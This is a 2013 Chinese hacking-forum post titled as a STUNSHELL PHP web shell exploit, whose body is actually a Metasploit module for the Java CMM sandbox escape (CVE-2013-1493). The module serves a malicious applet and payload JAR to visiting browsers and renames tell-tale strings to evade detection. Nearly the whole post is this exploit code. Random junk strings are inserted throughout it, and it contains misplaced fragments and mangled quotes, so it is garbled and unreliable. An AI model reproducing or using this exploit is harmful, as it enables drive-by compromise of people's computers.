找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2408|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##' g/ p! s, z0 {% v( p3 i; n
+ J7 n2 g+ z" J- W6 @  c
# This file is part of the Metasploit Framework and may be subject to
8 m# p9 G+ g5 ^% s- E+ m/ b# redistribution and commercial restrictions. Please see the Metasploit6 Y' U+ }4 K, ]3 n
# web site for more information on licensing and terms of use.
$ K7 f! e* c; E% i# http://metasploit.com/2 S/ f- k: p( [) R' c6 [
##
1 v9 K7 V+ z, b+ r" F. @* zrequire ‘msf/core’
. c1 P! I9 G! N  u, Crequire ‘rex’* k. i' y0 x) l$ N  F0 }
class Metasploit3 < Msf::Exploit::Remote* |0 m# t5 x5 F5 \" H' P$ V
Rank = NormalRanking
) x/ x& H- P( i  u  x5 L/ rinclude Msf::Exploit::Remote::HttpServer::HTML
; R/ S0 ]/ y6 j! T2 {include Msf::Exploit::EXE
. L6 r' E$ F! g0 }; binclude Msf::Exploit::Remote::BrowserAutopwn
" T8 W; u, Y# yautopwn_info({ :javascript => false })* R5 t6 k* k! L7 f0 t0 e
def initialize( info = {} )/ U2 f3 V" S0 _7 v  ]7 a( o% m3 ?
super( update_info( info,
% h/ v! P( ~; P, u, D/ c6 b: @‘Name’ => ‘Java CMM Remote Code Execution’,
% h& N/ t; d6 Y4 o% C% M‘Description’ => %q{
$ S, u+ f& a. _2 _% y, vThis module abuses the Color Management classes from a Java Applet to run; A0 ^  C- J% C
arbitrary Java code outside of the sandbox as exploited in the wild in February
% h  Z& x5 J1 L, Q( U* X# Sand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u416 D8 q' [4 w* H  i- C
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
* q% h/ x/ I1 D1 U' }systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
* i( I+ p, X2 i8 r5 `warning in order to run the malicious applet.6 W4 h8 u! }7 w) r
},
: P/ ?1 ]) c3 D) N; j& {% Y‘License’ => MSF_LICENSE,+ l% Z" T& L  `; j6 q* y+ p: p
‘Author’ =>
+ W9 B$ k' L) N2 I# p! Z0 s" V4 f: P'Unknown', # Vulnerability discovery and Exploit
  a5 @& m. I  J4 @4 m'juan vazquez' # Metasploit module (just ported the published exploit)7 M8 q* L3 |& i  |
],
; B! ~% g% h4 l1 o  E& t‘References’ =>
) i  w4 M$ |& S6 h[
4 D' ]5 ~3 V  C' u. i; a[ 'CVE', '2013-1493' ],
* G+ |" i) X& [[ 'OSVDB', '90737' ],; k. L3 E  s" Q" Q) C. J
[ 'BID', '58238' ],9 C" \$ K2 i1 V' z1 k  X1 R# y( o. i
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],. u+ i' x  L* j
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
9 H5 {  _% _$ y# P. k$ W; C+ T[ 'URL', 'http://pastie.org/pastes/6581034' ], |8 z4 @3 U& Q
],
. H/ Z+ ~# s: o. @, G% w4 I, D- `‘Platform’ => [ 'win', 'java' ],
5 J: g$ y5 p1 h  s- q‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
7 i4 _2 [  Y" u- e‘Targets’ =>' |9 @; O0 B% ]
[4 h# o; f+ L+ b
[ 'Generic (Java Payload)',
! K0 j7 T# w6 D" o{
+ Z2 k9 a% d& S9 S'Platform' => 'java',# j5 G4 N7 w0 U
'Arch' => ARCH_JAVA
' s; }% Y9 e: r+ h" r2 V" \}/ |. A( b, W! S% w+ T
],+ Q! K( l+ x0 I+ P( W! B+ {
[ 'Windows x86 (Native Payload)',3 k4 i9 R& F) t0 B6 B; d5 j7 W7 o
{
1 J% w* U& C) e% q! `'Platform' => 'win',
$ e: g# X) R; t  d* y/ z  ?'Arch' => ARCH_X86. i  V2 R# B: g" E+ M
}7 l: a, G7 ~9 ^
]& H. L9 ~! n% t9 c# V( E
],
+ p8 x) b6 G- r' a5 Z. V‘‘DisclosureDate’ => ‘Mar 01 2013′2 L) J& B  C* d- {
)): B) Y( G  V8 Q2 _  B* F, v
end
6 S0 k# T  Q- k5 O9 R4 ldef setup
. R  r4 _; w" M9 I0 p; Hpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
- J! u" ?7 |: h( V8 l@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }* ^* D2 T# X* V6 q0 I1 j* b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”), b" i" t6 H+ K! A
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
2 p2 E  w  |" x: `$ U$ [1 fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)1 M4 {% h6 L2 k# K* y2 \) {
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' O. e3 s" ^9 o) I/ C5 D( Opath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)0 T5 I1 t% g% `2 I* u) C
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }# J* z) K: g/ R! b8 K- J$ m. O
@init_class_name = rand_text_alpha(“Init”.length)! o4 ^5 J- P" @, h9 c7 Z6 Q
@init_class.gsub!(“Init”, @init_class_name)
) u' W! z% f# g& h* Csuper
  C3 q8 |9 j: @2 Q4 iend
  N& m3 E& T5 `& o( @+ E2 W/ X( |def on_request_uri(cli, request), i' f& ~) ^6 E! w; W" H' u: V
print_status(“handling request for #{request.uri}”)
$ V6 p4 W3 W' m6 tcase request.uri
, Y6 s9 _+ y9 h7 Q. u+ ~! Lwhen /\.jar$/i
: }+ M+ _* O5 U2 f; Y  a- n0 ojar = payload.encoded_jar- j9 W' O8 ^! A6 P" z& F
jar.add_file(“#{@init_class_name}.class”, @init_class)
2 S3 i+ e6 B; n/ i" y) }0 ajar.add_file(“Leak.class”, @leak_class)/ q7 T# s0 }. |9 W& e2 }, ]
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)! P# S$ m7 z8 I2 S: L) ?7 }2 T# K) O; p
jar.add_file(“MyColorSpace.class”, @color_space_class): g' @3 K3 k8 w5 X3 n+ J
DefaultTarget’ => 1,
7 ^8 w1 z* L. H  [, n% N4 imetasploit_str = rand_text_alpha(“metasploit”.length)( U: b. {7 d, W1 K7 p' |
payload_str = rand_text_alpha(“payload”.length)
9 y- O% Z5 F, w8 t& Djar.entries.each { |entry|% q9 u$ Y' z* c7 e8 Q% o  c
entry.name.gsub!(“metasploit”, metasploit_str)
) Q% x+ h0 M1 _entry.name.gsub!(“Payload”, payload_str)
! Y/ h7 g# [0 @* ^entry.data = entry.data.gsub(“metasploit”, metasploit_str)" G4 f- x% o) Y# s3 \) U
entry.data = entry.data.gsub(“Payload”, payload_str)5 o( L( [/ e3 A; L
}) m% g7 W" ?; h3 q
jar.build_manifest7 W! z2 A6 C* @
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
7 q  }* \4 D& s  l6 \# ~, R/ \when /\/$/
- s; W6 n  S2 B& H# D0 Dpayload = regenerate_payload(cli)
+ b  c3 z. G1 `3 B( F  Q" eif not payload
7 `9 W, E  B$ i+ y/ Tprint_error(“Failed to generate the payload.”)
/ \! F. p+ D0 usend_not_found(cli)
+ n4 [& d, Z" V6 a0 h1 u( ireturn; E4 Q" a+ X. m6 i6 t
end& j+ E; E/ G0 u: r: }
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
, _! Z3 l# H) e4 R5 m7 \7 Welse# b+ k% R8 S8 d$ P% l
send_redirect(cli, get_resource() + ‘/’, ”)/ F/ y! B- m6 @! T- T! G8 G
end; ?9 Q: i. s# Y; |. h
end' g0 ^) N/ S# F" Q
def generate_html
6 E% B  e7 _$ b% w, shtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|) X, E4 u4 c/ x6 t. B* b) q' m6 Q5 R  L
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
" i4 }% x; w, R9 ]( Hhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
% P, b7 u9 _8 i5 A% |html += %Q|</applet></body></html>|
+ ]5 A& e: J, J. `return html; @! z" z0 W7 p% X1 I
end7 M  E- E/ b3 m- ?
end
) e  l2 ]# @) vend+ W9 |: X: o- \. a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表